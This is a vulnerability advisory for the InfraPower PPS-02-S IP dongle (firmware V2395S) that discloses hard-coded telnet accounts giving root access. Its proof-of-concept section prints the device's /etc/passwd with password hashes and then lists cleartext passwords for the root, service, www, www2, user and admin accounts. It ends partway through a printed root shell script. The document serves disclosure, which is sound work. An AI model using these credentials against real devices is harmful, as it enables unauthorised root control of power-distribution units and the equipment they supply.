InfraPower PPS-02-S Q213V1 Hard-coded Credentials Remote Root Access

### Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. ### Description InfraPower suffers from a use of hard-coded credentials. The IP dongle firmware ships with hard-coded accounts that can be used to gain full system access (root) using the telnet daemon on port 23. ### Vendor Austin Hughes Electronics Ltd. - http://www.austin-hughes.com ### Affected Version * Q213V1 (Firmware: V2395S) ### Tested On * Linux 2.6.28 (armv5tel) * lighttpd/1.4.30-devel-1321 * PHP/5.3.9 * SQLite/3.7.10 ### PoC `cat /etc/passwd` ``` root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh adm:x:3:4:adm:/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/bin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh operator:x:11:0:Operator:/var:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh ``` `showing accounts in root group`: ``` Username: root Password: 8475 -- Username: service Password: ipdongle -- Username: www Password: 9311 -- Username: www2 Password: 9311 ``` `showing other less-privileged accounts`: ``` Username: user Password: 8475 -- Username: admin Password: 8475 ``` ``` /mnt/mtd # echo $SHELL /sbin/root_shell.sh /mnt/mtd # cat /sbin/root_shell.sh ``` ``` #!/bin/sh trap "" 2 3 9 24 # check login passWork=`cat /mnt/mtd/main_conf | grep RootPassEnable | cut -d " " -f 2` if [ "$passWork" = "1" ];
